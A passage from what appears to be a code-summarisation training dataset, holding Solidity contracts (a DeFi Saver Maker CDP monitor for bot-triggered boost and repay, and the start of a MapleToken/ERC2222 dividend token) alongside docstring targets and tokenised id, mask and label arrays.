-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../interfaces/Manager.sol";
import "../../interfaces/Vat.sol";
import "../../interfaces/Spotter.sol";
import "../../DS/DSMath.sol";
import "../../auth/AdminAuth.sol";
import "../../loggers/DefisaverLogger.sol";
import "../../utils/BotRegistry.sol";
import "../../exchangeV3/DFSExchangeData.sol";
import "./ISubscriptionsV2.sol";
import "./StaticV2.sol";
import "./MCDMonitorProxyV2.sol";
/// @title Implements logic that allows bots to call Boost and Repay
contract MCDMonitorV2 is DSMath, AdminAuth, StaticV2 {
uint256 public MAX_GAS_PRICE = 800 gwei; // 800 gwei
uint256 public REPAY_GAS_COST = 1_000_000;
uint256 public BOOST_GAS_COST = 1_000_000;
bytes4 public REPAY_SELECTOR = 0xf360ce20; // repayWithLoan(...)
bytes4 public BOOST_SELECTOR = 0x8ec2ae25; // boostWithLoan(...)
MCDMonitorProxyV2 public monitorProxyContract = MCDMonitorProxyV2(0x1816A86C4DA59395522a42b871bf11A4E96A1C7a);
ISubscriptionsV2 public subscriptionsContract = ISubscriptionsV2(0xC45d4f6B6bf41b6EdAA58B01c4298B8d9078269a);
address public mcdSaverTakerAddress;
address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B;
address public constant PROXY_PERMISSION_ADDR = 0x5a4f877CA808Cca3cB7c2A194F80Ab8588FAE26B;
Manager public manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39);
Vat public vat = Vat(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B);
Spotter public spotter = Spotter(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3);
DefisaverLogger public constant logger =
DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126);
modifier onlyApproved() {
require(BotRegistry(BOT_REGISTRY_ADDRESS).botList(msg.sender), "Not auth bot");
_;
}
constructor(
address _newMcdSaverTakerAddress
) public {
mcdSaverTakerAddress = _newMcdSaverTakerAddress;
}
/// @notice Bots call this method to repay for user when conditions are met
/// @dev If the contract ownes gas token it will try and use it for gas price reduction
function repayFor(
DFSExchangeData.ExchangeData memory _exchangeData,
uint256 _cdpId,
uint256 _nextPrice,
address _joinAddr
) public payable onlyApproved {
bool isAllowed;
uint256 ratioBefore;
string memory errReason;
(isAllowed, ratioBefore, errReason) = checkPreconditions(
Method.Repay,
_cdpId,
_nextPrice
);
require(isAllowed, errReason);
uint256 gasCost = calcGasCost(REPAY_GAS_COST);
address usersProxy = subscriptionsContract.getOwner(_cdpId);
monitorProxyContract.callExecute{value: msg.value}(
usersProxy,
mcdSaverTakerAddress,
abi.encodeWithSelector(REPAY_SELECTOR, _exchangeData, _cdpId, gasCost, _joinAddr, 0)
);
bool isGoodRatio;
uint256 ratioAfter;
(isGoodRatio, ratioAfter, errReason) = ratioGoodAfter(
Method.Repay,
_cdpId,
_nextPrice,
ratioBefore
);
require(isGoodRatio, errReason);
returnEth();
logger.Log(
address(this),
usersProxy,
"AutomaticMCDRepay",
abi.encode(ratioBefore, ratioAfter)
);
}
/// @notice Bots call this method to boost for user when conditions are met
/// @dev If the contract ownes gas token it will try and use it for gas price reduction
function boostFor(
DFSExchangeData.ExchangeData memory _exchangeData,
uint256 _cdpId,
uint256 _nextPrice,
address _joinAddr
) public payable onlyApproved {
bool isAllowed;
uint256 ratioBefore;
string memory errReason;
(isAllowed, ratioBefore, errReason) = checkPreconditions(
Method.Boost,
_cdpId,
_nextPrice
);
require(isAllowed, errReason);
uint256 gasCost = calcGasCost(BOOST_GAS_COST);
address usersProxy = subscriptionsContract.getOwner(_cdpId);
monitorProxyContract.callExecute{value: msg.value}(
usersProxy,
mcdSaverTakerAddress,
abi.encodeWithSelector(BOOST_SELECTOR, _exchangeData, _cdpId, gasCost, _joinAddr, 0)
);
bool isGoodRatio;
uint256 ratioAfter;
(isGoodRatio, ratioAfter, errReason) = ratioGoodAfter(
Method.Boost,
_cdpId,
_nextPrice,
ratioBefore
);
require(isGoodRatio, errReason);
returnEth();
logger.Log(
address(this),
usersProxy,
"AutomaticMCDBoost",
abi.encode(ratioBefore, ratioAfter)
);
}
/******************* INTERNAL METHODS ********************************/
function returnEth() internal {
// return if some eth left
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
}
/******************* STATIC METHODS ********************************/
/// @notice Returns an address that owns the CDP
/// @param _cdpId Id of the CDP
function getOwner(uint256 _cdpId) public view returns (address) {
return manager.owns(_cdpId);
}
/// @notice Gets CDP info (collateral, debt)
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
function getCdpInfo(uint256 _cdpId, bytes32 _ilk) public view returns (uint256, uint256) {
address urn = manager.urns(_cdpId);
(uint256 collateral, uint256 debt) = vat.urns(_ilk, urn);
(, uint256 rate, , , ) = vat.ilks(_ilk);
return (collateral, rmul(debt, rate));
}
/// @notice Gets a price of the asset
/// @param _ilk Ilk of the CDP
function getPrice(bytes32 _ilk) public view returns (uint256) {
(, uint256 mat) = spotter.ilks(_ilk);
(, , uint256 spot, , ) = vat.ilks(_ilk);
return rmul(rmul(spot, spotter.par()), mat);
}
/// @notice Gets CDP ratio
/// @param _cdpId Id of the CDP
/// @param _nextPrice Next price for user
function getRatio(uint256 _cdpId, uint256 _nextPrice) public view returns (uint256) {
bytes32 ilk = manager.ilks(_cdpId);
uint256 price = (_nextPrice == 0) ? getPrice(ilk) : _nextPrice;
(uint256 collateral, uint256 debt) = getCdpInfo(_cdpId, ilk);
if (debt == 0) return 0;
return rdiv(wmul(collateral, price), debt) / (10**18);
}
/// @notice Checks if Boost/Repay could be triggered for the CDP
/// @dev Called by MCDMonitor to enforce the min/max check
function checkPreconditions(
Method _method,
uint256 _cdpId,
uint256 _nextPrice
)
public
view
returns (
bool,
uint256,
string memory
)
{
(bool subscribed, CdpHolder memory holder) = subscriptionsContract.getCdpHolder(_cdpId);
// check if cdp is subscribed
if (!subscribed) return (false, 0, "Cdp not sub");
// check if using next price is allowed
if (_nextPrice > 0 && !holder.nextPriceEnabled)
return (false, 0, "Next price send but not enabled");
// check if boost and boost allowed
if (_method == Method.Boost && !holder.boostEnabled)
return (false, 0, "Boost not enabled");
// check if owner is still owner
if (getOwner(_cdpId) != holder.owner) return (false, 0, "EOA not subbed owner");
uint256 currRatio = getRatio(_cdpId, _nextPrice);
if (_method == Method.Repay) {
if (currRatio > holder.minRatio) return (false, 0, "Ratio is bigger than min");
} else if (_method == Method.Boost) {
if (currRatio < holder.maxRatio) return (false, 0, "Ratio is less than max");
}
return (true, currRatio, "");
}
/// @dev After the Boost/Repay check if the ratio doesn't trigger another call
function ratioGoodAfter(
Method _method,
uint256 _cdpId,
uint256 _nextPrice,
uint256 _beforeRatio
)
public
view
returns (
bool,
uint256,
string memory
)
{
(, CdpHolder memory holder) = subscriptionsContract.getCdpHolder(_cdpId);
uint256 currRatio = getRatio(_cdpId, _nextPrice);
if (_method == Method.Repay) {
if (currRatio >= holder.maxRatio)
return (false, currRatio, "Repay increased ratio over max");
if (currRatio <= _beforeRatio) return (false, currRatio, "Repay made ratio worse");
} else if (_method == Method.Boost) {
if (currRatio <= holder.minRatio)
return (false, currRatio, "Boost lowered ratio over min");
if (currRatio >= _beforeRatio) return (false, currRatio, "Boost didn't lower ratio");
}
return (true, currRatio, "");
}
/// @notice Calculates gas cost (in Eth) of tx
/// @dev Gas price is limited to MAX_GAS_PRICE to prevent attack of draining user CDP
/// @param _gasAmount Amount of gas used for the tx
function calcGasCost(uint256 _gasAmount) public view returns (uint256) {
uint256 gasPrice = tx.gasprice <= MAX_GAS_PRICE ? tx.gasprice : MAX_GAS_PRICE;
return mul(gasPrice, _gasAmount);
}
/******************* OWNER ONLY OPERATIONS ********************************/
/// @notice Allows owner to change gas cost for boost operation, but only up to 3 millions
/// @param _gasCost New gas cost for boost method
function changeBoostGasCost(uint256 _gasCost) public onlyOwner {
require(_gasCost < 3_000_000, "Boost gas cost over limit");
BOOST_GAS_COST = _gasCost;
}
/// @notice Allows owner to change gas cost for repay operation, but only up to 3 millions
/// @param _gasCost New gas cost for repay method
function changeRepayGasCost(uint256 _gasCost) public onlyOwner {
require(_gasCost < 3_000_000, "Repay gas cost over limit");
REPAY_GAS_COST = _gasCost;
}
/// @notice Allows owner to change max gas price
/// @param _maxGasPrice New max gas price
function changeMaxGasPrice(uint256 _maxGasPrice) public onlyOwner {
require(_maxGasPrice < 2000 gwei, "Max gas price over the limit");
MAX_GAS_PRICE = _maxGasPrice;
}
}
|
@notice Allows owner to change gas cost for boost operation, but only up to 3 millions @param _gasCost New gas cost for boost method
|
function changeBoostGasCost(uint256 _gasCost) public onlyOwner {
require(_gasCost < 3_000_000, "Boost gas cost over limit");
BOOST_GAS_COST = _gasCost;
}
| 1,007,851 |
[
1,
4625,
348,
7953,
560,
30,
225,
632,
20392,
25619,
3410,
358,
2549,
16189,
6991,
364,
14994,
1674,
16,
1496,
1338,
731,
358,
890,
312,
737,
1115,
632,
891,
389,
31604,
8018,
1166,
16189,
6991,
364,
14994,
707,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2549,
26653,
27998,
8018,
12,
11890,
5034,
389,
31604,
8018,
13,
1071,
1338,
5541,
288,
203,
3639,
2583,
24899,
31604,
8018,
411,
890,
67,
3784,
67,
3784,
16,
315,
26653,
16189,
6991,
1879,
1800,
8863,
203,
203,
3639,
9784,
4005,
67,
43,
3033,
67,
28343,
273,
389,
31604,
8018,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.6.11;
import "./ERC2222.sol";
contract MapleToken is ERC2222 {
bytes32 public immutable DOMAIN_SEPARATOR;
bytes32 public constant PERMIT_TYPEHASH = 0xfc77c2b9d30fe91687fd39abb7d16fcdfe1472d065740051ab8b13e4bf4a617f;
// bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 amount,uint256 nonce,uint256 deadline)");
mapping (address => uint256) public nonces;
/**
@dev Instantiates the MapleToken.
@param name Name of the token.
@param symbol Symbol of the token.
@param fundsToken The asset claimable / distributed via ERC-2222, deposited to MapleToken contract.
*/
constructor (
string memory name,
string memory symbol,
address fundsToken
) ERC2222(name, symbol, fundsToken) public {
uint256 chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
require(address(fundsToken) != address(0), "MapleToken:INVALID_FUNDS_TOKEN");
_mint(msg.sender, 10_000_000 * 10 ** 18);
}
/**
@dev Approve by signature.
@param owner Owner address that signed the permit
@param spender Spender of the permit
@param amount Permit approval spend limit
@param deadline Deadline after which the permit is invalid
@param v ECDSA signature v component
@param r ECDSA signature r component
@param s ECDSA signature s component
*/
function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'MapleToken:EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress == owner, 'MapleToken:INVALID_SIGNATURE');
_approve(owner, spender, amount);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.6.11;
import "lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol";
import "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol";
import "lib/openzeppelin-contracts/contracts/math/SignedSafeMath.sol";
import "./IERC2222.sol";
import "./math/UintSafeMath.sol";
import "./math/IntSafeMath.sol";
abstract contract ERC2222 is IERC2222, ERC20 {
using SafeMath for uint256;
using UintSafeMath for uint256;
using SignedSafeMath for int256;
using IntSafeMath for int256;
using SafeERC20 for IERC20;
IERC20 public fundsToken; // The fundsToken (dividends)
uint256 public fundsTokenBalance; // The amount of fundsToken (loanAsset) currently present and accounted for in this contract.
uint256 internal constant pointsMultiplier = 2 ** 128;
uint256 internal pointsPerShare;
mapping(address => int256) internal pointsCorrection;
mapping(address => uint256) internal withdrawnFunds; // 3
event PointsPerShareUpdated(uint256 pointsPerShare);
event PointsCorrectionUpdated(address account, int256 pointsCorrection);
constructor(string memory name, string memory symbol, address _fundsToken) ERC20(name, symbol) public {
fundsToken = IERC20(_fundsToken);
}
/**
* prev. distributeDividends
* @dev Distributes funds to token holders.
* @dev It reverts if the total supply of tokens is 0.
* It emits the `FundsDistributed` event if the amount of received ether is greater than 0.
* About undistributed funds:
* In each distribution, there is a small amount of funds which does not get distributed,
* which is `(msg.value * pointsMultiplier) % totalSupply()`.
* With a well-chosen `pointsMultiplier`, the amount funds that are not getting distributed
* in a distribution can be less than 1 (base unit).
* We can actually keep track of the undistributed ether in a distribution
* and try to distribute it in the next distribution ....... todo implement
*/
function _distributeFunds(uint256 value) internal {
require(totalSupply() > 0, "FDT:SUPPLY_EQ_ZERO");
if (value > 0) {
pointsPerShare = pointsPerShare.add(value.mul(pointsMultiplier) / totalSupply());
emit FundsDistributed(msg.sender, value);
emit PointsPerShareUpdated(pointsPerShare);
}
}
/**
* @dev Prepares funds withdrawal
* @dev It emits a `FundsWithdrawn` event if the amount of withdrawn ether is greater than 0.
*/
function _prepareWithdraw() internal returns (uint256) {
uint256 _withdrawableDividend = withdrawableFundsOf(msg.sender);
withdrawnFunds[msg.sender] = withdrawnFunds[msg.sender].add(_withdrawableDividend);
emit FundsWithdrawn(msg.sender, _withdrawableDividend, withdrawnFunds[msg.sender]);
return _withdrawableDividend;
}
/**
* @dev Prepares funds withdrawal on behalf of a user
* @dev It emits a `FundsWithdrawn` event if the amount of withdrawn ether is greater than 0.
*/
function _prepareWithdrawOnBehalf(address user) internal returns (uint256) {
uint256 _withdrawableDividend = withdrawableFundsOf(user);
withdrawnFunds[user] = withdrawnFunds[user].add(_withdrawableDividend);
emit FundsWithdrawn(user, _withdrawableDividend, withdrawnFunds[user]);
return _withdrawableDividend;
}
/**
* @dev View the amount of funds that an address can withdraw.
* @param _owner The address of a token holder.
* @return The amount funds that `_owner` can withdraw.
*/
function withdrawableFundsOf(address _owner) public view override returns (uint256) {
return accumulativeFundsOf(_owner).sub(withdrawnFunds[_owner]);
}
/**
* @dev View the amount of funds that an address has withdrawn.
* @param _owner The address of a token holder.
* @return The amount of funds that `_owner` has withdrawn.
*/
function withdrawnFundsOf(address _owner) public view returns (uint256) {
return withdrawnFunds[_owner];
}
/**
* @dev View the amount of funds that an address has earned in total.
* @dev accumulativeFundsOf(_owner) = withdrawableFundsOf(_owner) + withdrawnFundsOf(_owner)
* = (pointsPerShare * balanceOf(_owner) + pointsCorrection[_owner]) / pointsMultiplier
* @param _owner The address of a token holder.
* @return The amount of funds that `_owner` has earned in total.
*/
function accumulativeFundsOf(address _owner) public view returns (uint256) {
return
pointsPerShare
.mul(balanceOf(_owner))
.toInt256Safe()
.add(pointsCorrection[_owner])
.toUint256Safe() / pointsMultiplier;
}
/**
* @dev Internal function that transfer tokens from one address to another.
* Update pointsCorrection to keep funds unchanged.
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(
address from,
address to,
uint256 value
) internal virtual override {
require(to != address(this), "ERC20: transferring to token contract");
super._transfer(from, to, value);
int256 _magCorrection = pointsPerShare.mul(value).toInt256Safe();
pointsCorrection[from] = pointsCorrection[from].add(_magCorrection);
pointsCorrection[to] = pointsCorrection[to].sub(_magCorrection);
emit PointsCorrectionUpdated(from, pointsCorrection[from]);
emit PointsCorrectionUpdated(to, pointsCorrection[to]);
}
/**
* @dev Internal function that mints tokens to an account.
* Update pointsCorrection to keep funds unchanged.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal virtual override {
super._mint(account, value);
pointsCorrection[account] = pointsCorrection[account].sub(
